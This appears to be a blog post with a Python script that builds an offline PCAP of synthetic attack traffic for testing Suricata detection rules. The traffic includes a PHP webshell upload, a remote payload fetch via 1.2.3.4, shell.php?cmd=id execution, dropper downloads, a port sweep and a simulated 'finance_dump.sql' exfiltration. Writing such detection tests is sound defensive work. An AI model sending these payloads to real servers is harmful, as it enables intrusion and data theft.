编写上传webshell、横向及外连的suricata规则-测试(9001267-9001287)
1.生成测试流量
from __future__ import annotations import argparse import socket import struct from pathlib import Path SRC_MAC = bytes.fromhex("001122334455") DST_MAC = bytes.fromhex("66778899aabb") CLIENT_IP = "10.10.10.1" SERVER_IP = "10.10.10.2" def checksum(data: bytes) -> int: if len(data) % 2: data += b"\x00" total = 0 for i in range(0, len(data), 2): total += (data[i] << 8) + data[i + 1] total = (total & 0xFFFF) + (total >> 16) return (~total) & 0xFFFF def ip_bytes(value: str) -> bytes: return socket.inet_aton(value) def build_tcp_packet( src_ip: str, dst_ip: str, src_port: int, dst_port: int, seq: int, ack: int, flags: int, payload: bytes = b"", ) -> bytes: tcp_offset = 5 tcp_header_wo_checksum = struct.pack( "!HHLLBBHHH", src_port, dst_port, seq, ack, tcp_offset << 4, flags, 4096, 0, 0, ) pseudo = struct.pack( "!4s4sBBH", ip_bytes(src_ip), ip_bytes(dst_ip), 0, 6, len(tcp_header_wo_checksum) + len(payload), ) tcp_checksum = checksum(pseudo + tcp_header_wo_checksum + payload) tcp_header = struct.pack( "!HHLLBBHHH", src_port, dst_port, seq, ack, tcp_offset << 4, flags, 4096, tcp_checksum, 0, ) total_length = 20 + len(tcp_header) + len(payload) ip_header_wo_checksum = struct.pack( "!BBHHHBBH4s4s", 0x45, 0, total_length, 0, 0, 64, 6, 0, ip_bytes(src_ip), ip_bytes(dst_ip), ) ip_checksum = checksum(ip_header_wo_checksum) ip_header = struct.pack( "!BBHHHBBH4s4s", 0x45, 0, total_length, 0, 0, 64, 6, ip_checksum, ip_bytes(src_ip), ip_bytes(dst_ip), ) eth_header = struct.pack("!6s6sH", DST_MAC, SRC_MAC, 0x0800) return eth_header + ip_header + tcp_header + payload class PcapWriter: def __init__(self, path: Path) -> None: self.path = path self.fp = path.open("wb") self.fp.write(struct.pack("<IHHIIII", 0xA1B2C3D4, 2, 4, 0, 0, 65535, 1)) self.ts_usec = 0 def write(self, frame: bytes) -> None: self.ts_usec += 10000 self.fp.write(struct.pack("<IIII", 0, self.ts_usec, len(frame), len(frame))) self.fp.write(frame) def close(self) -> None: self.fp.close() def http_request(method: str, path: str, headers: list[tuple[str, str]] | None = None, body: bytes = b"") -> bytes: headers = headers or [] lines = [f"{method} {path} HTTP/1.1", "Host: lab.local", "Connection: close"] header_names = {name.lower() for name, _ in headers} if body and "content-length" not in header_names and "transfer-encoding" not in header_names: headers.append(("Content-Length", str(len(body)))) for name, value in headers: lines.append(f"{name}: {value}") return ("\r\n".join(lines) + "\r\n\r\n").encode("ascii") + body def http_response(body: bytes, extra_headers: list[tuple[str, str]] | None = None) -> bytes: extra_headers = extra_headers or [] lines = ["HTTP/1.1 200 OK", "Connection: close", f"Content-Length: {len(body)}"] for name, value in extra_headers: lines.append(f"{name}: {value}") return ("\r\n".join(lines) + "\r\n\r\n").encode("ascii") + body def write_flow( writer: PcapWriter, src_ip: str, dst_ip: str, src_port: int, dst_port: int, request: bytes, response: bytes | None = None, ) -> None: client_seq = 1000 + src_port server_seq = 9000 + dst_port + (src_port % 100) writer.write(build_tcp_packet(src_ip, dst_ip, src_port, dst_port, client_seq, 0, 0x02)) writer.write(build_tcp_packet(dst_ip, src_ip, dst_port, src_port, server_seq, client_seq + 1, 0x12)) writer.write(build_tcp_packet(src_ip, dst_ip, src_port, dst_port, client_seq + 1, server_seq + 1, 0x10)) writer.write(build_tcp_packet(src_ip, dst_ip, src_port, dst_port, client_seq + 1, server_seq + 1, 0x18, request)) writer.write(build_tcp_packet(dst_ip, src_ip, dst_port, src_port, server_seq + 1, client_seq + 1 + len(request), 0x10)) if response: writer.write(build_tcp_packet(dst_ip, src_ip, dst_port, src_port, server_seq + 1, client_seq + 1 + len(request), 0x18, response)) writer.write(build_tcp_packet(src_ip, dst_ip, src_port, dst_port, client_seq + 1 + len(request), server_seq + 1 + len(response), 0x10)) def write_syns(writer: PcapWriter, src_ip: str, dst_ip: str, start_sport: int, ports: list[int]) -> None: for index, port in enumerate(ports): sport = start_sport + index writer.write(build_tcp_packet(src_ip, dst_ip, sport, port, 50000 + index, 0, 0x02)) def build_positive_pcap(path: Path) -> None: writer = PcapWriter(path) try: write_flow(writer, CLIENT_IP, SERVER_IP, 41001, 18080, http_request("PUT", "/uploads/seed-shell.jsp%2f")) write_flow( writer, CLIENT_IP, SERVER_IP, 41002, 8161, http_request("MOVE", "/files", [("Destination", "/opt/activemq/webapps/admin/shell.jsp")]), ) write_flow( writer, CLIENT_IP, SERVER_IP, 41003, 18080, http_request("POST", "/ui/vropspluginui/rest/services/uploadova?path=/tmp/dropper.sh"), ) write_flow( writer, CLIENT_IP, SERVER_IP, 41004, 18080, http_request("POST", "/index.php?option=com_community&func=photo"), ) write_flow( writer, CLIENT_IP, SERVER_IP, 41005, 18080, http_request("GET", "/gila/lzld/thumb?src=http://1.2.3.4/payload.php"), ) multipart_upload = ( b"--x\r\n" b'Content-Disposition: form-data; name="file"; filename="shell.jsp"\r\n' b"Content-Type: application/octet-stream\r\n\r\n" b"<% out.println(\"ok\"); %>\r\n" b"--x--\r\n" ) write_flow( writer, CLIENT_IP, SERVER_IP, 41006, 18080, http_request("POST", "/api/upload", [("Transfer-Encoding", "chunked")], multipart_upload), ) write_flow( writer, CLIENT_IP, SERVER_IP, 41007, 8161, http_request("MOVE", "/queue", [("Destination", "/webapps/admin/shell.jsp")]), ) write_flow( writer, CLIENT_IP, SERVER_IP, 41008, 18080, http_request("POST", "/ui/vropspluginui/rest/services/uploadova?where=/tmp/agent.py"), ) write_flow( writer, CLIENT_IP, SERVER_IP, 41009, 18080, http_request("POST", "/webman/imageSelector.cgi", [("X-TYPE-NAME", "SLICEUPLOAD"), ("Content-Range", "bytes 0-9/10")], b"0123456789"), ) joomla_body = ( b"--x\r\n" b'Content-Disposition: form-data; name="file"; filename="shell.php"\r\n' b"Content-Type: application/octet-stream\r\n\r\n" b"<?php system($_POST['cmd']); ?>\r\n" b"--x--\r\n" ) write_flow( writer, CLIENT_IP, SERVER_IP, 41010, 18080, http_request("POST", "/administrator/index.php?option=com_community", [("Content-Type", "multipart/form-data; boundary=x")], joomla_body), ) write_flow( writer, CLIENT_IP, SERVER_IP, 41011, 18080, http_request("GET", "/thumb?src=http://1.2.3.4/dropper.php?x=1"), ) write_flow( writer, CLIENT_IP, SERVER_IP, 41012, 18080, http_request("GET", "/uploads/shell.php?cmd=id"), ) write_flow( writer, CLIENT_IP, SERVER_IP, 41013, 18080, http_request("POST", "/uploads/shell.php", [("Content-Type", "application/x-www-form-urlencoded")], b"cmd=id"), ) write_flow( writer, CLIENT_IP, SERVER_IP, 41014, 18080, http_request("GET", "/health"), http_response(b"uid=33(www-data) gid=33(www-data)\n"), ) for offset, path in enumerate(("/stage/loader.sh", "/dropper.sh", "/bootstrap.py", "/payload.bin"), start=1): write_flow( writer, SERVER_IP, CLIENT_IP, 51000 + offset, 18081, http_request("GET", path, [("User-Agent", "curl/8.0")]), http_response(b"#!/bin/sh\necho ok\n"), ) for offset, path in enumerate(("/gate.php", "/shell.php", "/api/client.jsp", "/panel/index.php"), start=1): write_flow( writer, SERVER_IP, CLIENT_IP, 51100 + offset, 18081, http_request("POST", path, [("User-Agent", "python-requests/2.31"), ("Content-Type", "application/x-www-form-urlencoded")], b"id=node-1"), http_response(b"ok\n"), ) write_syns(writer, SERVER_IP, CLIENT_IP, 52000, [22, 135, 139, 445, 3389, 5985, 5986, 1433, 1521, 3306, 5432, 6379, 7001, 8161, 2375, 2376]) write_syns(writer, SERVER_IP, CLIENT_IP, 52100, [3389] * 12) write_syns(writer, SERVER_IP, CLIENT_IP, 53000, [88, 135, 139, 389, 445, 464, 636]) exfil_body = ( b"--x\r\n" b'Content-Disposition: form-data; name="file"; filename="finance_dump.sql"\r\n' b"Content-Type: application/octet-stream\r\n\r\n" b"select * from users;\r\n" b"--x--\r\n" ) for offset in range(3): write_flow( writer, SERVER_IP, CLIENT_IP, 51200 + offset, 18081, http_request("POST", "/upload", [("Content-Type", "multipart/form-data; boundary=x")], exfil_body), http_response(b"stored\n"), ) finally: writer.close() def main() -> None: parser = argparse.ArgumentParser(description="Generate offline PCAPs for upload_rce_followon_supplement.rules") parser.add_argument("--output-dir", default=".") args = parser.parse_args() output_dir = Path(args.output_dir).resolve() output_dir.mkdir(parents=True, exist_ok=True) positive = output_dir / "upload_rce_followon_positive.pcap" build_positive_pcap(positive) print(positive) if __name__ == "__main__": main()

浙公网安备 33010602011771号